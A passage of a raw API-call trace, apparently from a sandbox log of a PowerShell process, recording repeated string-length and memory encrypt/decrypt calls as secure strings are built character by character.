(param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒᛭爇쾥‒͒啺儮ꫝ") returned 0x18 [0258.917] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.917] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4믍✴ͭ郥⡷") returned 0x18 [0258.917] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.917] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒떦䁼歮쿻狨찝묙") returned 0x18 [0258.917] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒떦䁼歮쿻狨찝묙") returned 0x18 [0258.917] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.917] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4y✴ͭ郥⡷") returned 0x18 [0258.917] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.917] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒魦翩䉮\짛ꗹ쯴∔) returned 0x18 [0258.917] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒魦翩䉮\짛ꗹ쯴∔) returned 0x18 [0258.917] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.918] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4ynͭ郥⡷") returned 0x18 [0258.918] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.918] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒ﲱﶁ\쓘ի읍密ݛ≭) returned 0x18 [0258.918] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒ﲱﶁ\쓘ի읍密ݛ≭) returned 0x18 [0258.918] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.918] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno郥⡷") returned 0x18 [0258.918] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.918] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒⧛࿁酽곺綒㧅胁\⋘) returned 0x18 [0258.918] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒⧛࿁酽곺綒㧅胁\⋘) returned 0x18 [0258.918] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.918] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9⡷") returned 0x18 [0258.918] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.919] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒無헠흴큿収틊쓸") returned 0x18 [0258.919] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒無헠흴큿収틊쓸") returned 0x18 [0258.919] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.919] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K") returned 0x18 [0258.919] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.919] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂") returned 0x18 [0258.919] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂") returned 0x18 [0258.919] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂") returned 0x18 [0258.922] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂") returned 0x20 [0258.922] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.922] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2坦쬋봧ₔ兹") returned 0x20 [0258.922] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.922] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂窖粢農㺔졿Ǽ跇쏁") returned 0x20 [0258.922] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂窖粢農㺔졿Ǽ跇쏁") returned 0x20 [0258.922] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.922] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2d쬋봧ₔ兹") returned 0x20 [0258.922] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.922] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂䚔着㸠ࠤꇐ䫋匪遷") returned 0x20 [0258.922] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂䚔着㸠ࠤꇐ䫋匪遷") returned 0x20 [0258.922] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.923] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dI봧ₔ兹") returned 0x20 [0258.923] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.923] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂縰ꄠꈜὌ敫㖀䛃健") returned 0x20 [0258.923] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂縰ꄠꈜὌ敫㖀䛃健") returned 0x20 [0258.923] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.923] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyₔ兹") returned 0x20 [0258.923] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.923] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂ꛇ㌕풢쪺䟺罹罩ď") returned 0x20 [0258.923] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂ꛇ㌕풢쪺䟺罹罩ď") returned 0x20 [0258.923] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.923] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyV兹") returned 0x20 [0258.923] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.924] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂䗆索畿핱첿髜꧈") returned 0x20 [0258.924] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂䗆索畿핱첿髜꧈") returned 0x20 [0258.924] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.924] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVe兹") returned 0x20 [0258.924] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.924] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂̇兮쁰쉝텢놕邆鄌") returned 0x20 [0258.924] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂̇兮쁰쉝텢놕邆鄌") returned 0x20 [0258.924] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.924] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeK兹") returned 0x20 [0258.924] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.924] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂舐ራ饽傔릳૨ꆐ꽖") returned 0x20 [0258.924] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂舐ራ饽傔릳૨ꆐ꽖") returned 0x20 [0258.924] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.924] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKd") returned 0x20 [0258.924] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.925] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌") returned 0x20 [0258.925] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌") returned 0x20 [0258.925] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌") returned 0x20 [0258.925] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌") returned 0x28 [0258.925] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.925] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKda䄚岡䕑謜邗⬳ష") returned 0x28 [0258.925] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.926] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌ࠌｼ잂䗰栍븼﨨놗") returned 0x28 [0258.926] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌ࠌｼ잂䗰栍븼﨨놗") returned 0x28 [0258.926] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.926] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdad岡䕑謜邗⬳ష") returned 0x28 [0258.926] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.926] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌ᶭ狿↭ᢈ臥뇮茮") returned 0x28 [0258.926] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌ᶭ狿↭ᢈ臥뇮茮") returned 0x28 [0258.926] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.926] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdady䕑謜邗⬳ష") returned 0x28 [0258.926] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.926] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌円懵佥鹭㋘๫㱙檺") returned 0x28 [0258.926] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌円懵佥鹭㋘๫㱙檺") returned 0x28 [0258.926] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.927] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl謜邗⬳ష") returned 0x28 [0258.927] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.927] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌鴖薒﫳惜閎侈氭踀") returned 0x28 [0258.927] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌鴖薒﫳惜閎侈氭踀") returned 0x28 [0258.927] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.927] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl+邗⬳ష") returned 0x28 [0258.927] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.927] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌뢬摠꯻ᢙ䪴陓㽑") returned 0x28 [0258.927] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌뢬摠꯻ᢙ䪴陓㽑") returned 0x28 [0258.927] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.927] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl+d⬳ష") returned 0x28 [0258.927] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.927] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌邊㫸녽럛냚쫠洛") returned 0x28 [0258.928] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌邊㫸녽럛냚쫠洛") returned 0x28 [0258.928] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.928] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl+dBష") returned 0x28 [0258.928] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.928] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌샶逩શ禡祗럼\⋟) returned 0x28 [0258.928] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌샶逩શ禡祗럼\⋟) returned 0x28 [0258.928] SystemFunction041 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.928] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl+dBU") returned 0x28 [0258.928] SystemFunction040 (in: Memory=0x3afd8c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd8c) returned 0x0 [0258.928] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛") returned 0x28 [0258.928] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛") returned 0x28 [0258.929] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛") returned 0x28 [0258.929] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛") returned 0x30 [0258.929] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0258.929] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl+dBUq黏傾今ﺖ蚿떠") returned 0x30 [0258.929] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0258.929] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛ᓼ粯碇᠒⪩걻\⊬) returned 0x30 [0258.929] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛ᓼ粯碇᠒⪩걻\⊬) returned 0x30 [0258.929] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0258.929] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl+dBUqm傾今ﺖ蚿떠") returned 0x30 [0258.929] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0258.930] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛솊㚺泉熻庚ஊ詆缸") returned 0x30 [0258.930] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛솊㚺泉熻庚ஊ詆缸") returned 0x30 [0258.930] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0258.930] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl+dBUqms今ﺖ蚿떠") returned 0x30 [0258.930] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0258.930] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛㊭㕊凨⣷ἅ콷") returned 0x30 [0258.930] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒❙濳뱢ߩꭻ喈苉鱂福⯈ﾟó⛨塀섌⒴Ꙛ⟗杽䣩碛㊭㕊凨⣷ἅ콷") returned 0x30 [0258.930] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0258.930] SysStringLen (param_1="vRdw9hXqAioqh9EXq/4yno9K2dIyVeKdadyl+dBUqms=ﺖ蚿떠") returned 0x30 [0258.930] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0258.930] EtwEventActivityIdControl () returned 0x0 [0258.930] EtwEventActivityIdControl () returned 0x0 [0258.930] EtwEventActivityIdControl () returned 0x0 [0258.931] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.931] EtwEventActivityIdControl () returned 0x0 [0258.931] EtwEventActivityIdControl () returned 0x0 [0258.931] EtwEventActivityIdControl () returned 0x0 [0258.932] SysStringLen (param_1="") returned 0x8 [0258.932] SysStringLen (param_1="N") returned 0x8 [0258.932] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.932] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0258.932] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0258.932] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.932] SysStringLen (param_1="ND") returned 0x8 [0258.932] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.933] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0258.933] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0258.933] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.933] SysStringLen (param_1="NDZ") returned 0x8 [0258.933] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.933] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0258.933] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0258.933] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.933] SysStringLen (param_1="NDZl") returned 0x8 [0258.933] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.933] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0258.933] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0258.933] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.934] SysStringLen (param_1="NDZlO") returned 0x8 [0258.934] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.934] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0258.934] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0258.934] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.934] SysStringLen (param_1="NDZlOD") returned 0x8 [0258.934] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.934] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0258.934] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0258.934] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.935] SysStringLen (param_1="NDZlODR") returned 0x8 [0258.935] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.935] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0258.935] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0258.935] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.935] SysStringLen (param_1="NDZlODRm") returned 0x8 [0258.935] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0258.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0258.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0258.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0258.936] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.936] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0258.936] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0258.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0258.936] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.936] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0258.936] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0258.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0258.937] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.937] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0258.937] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0258.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0258.937] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.937] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0258.937] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0258.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0258.937] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, 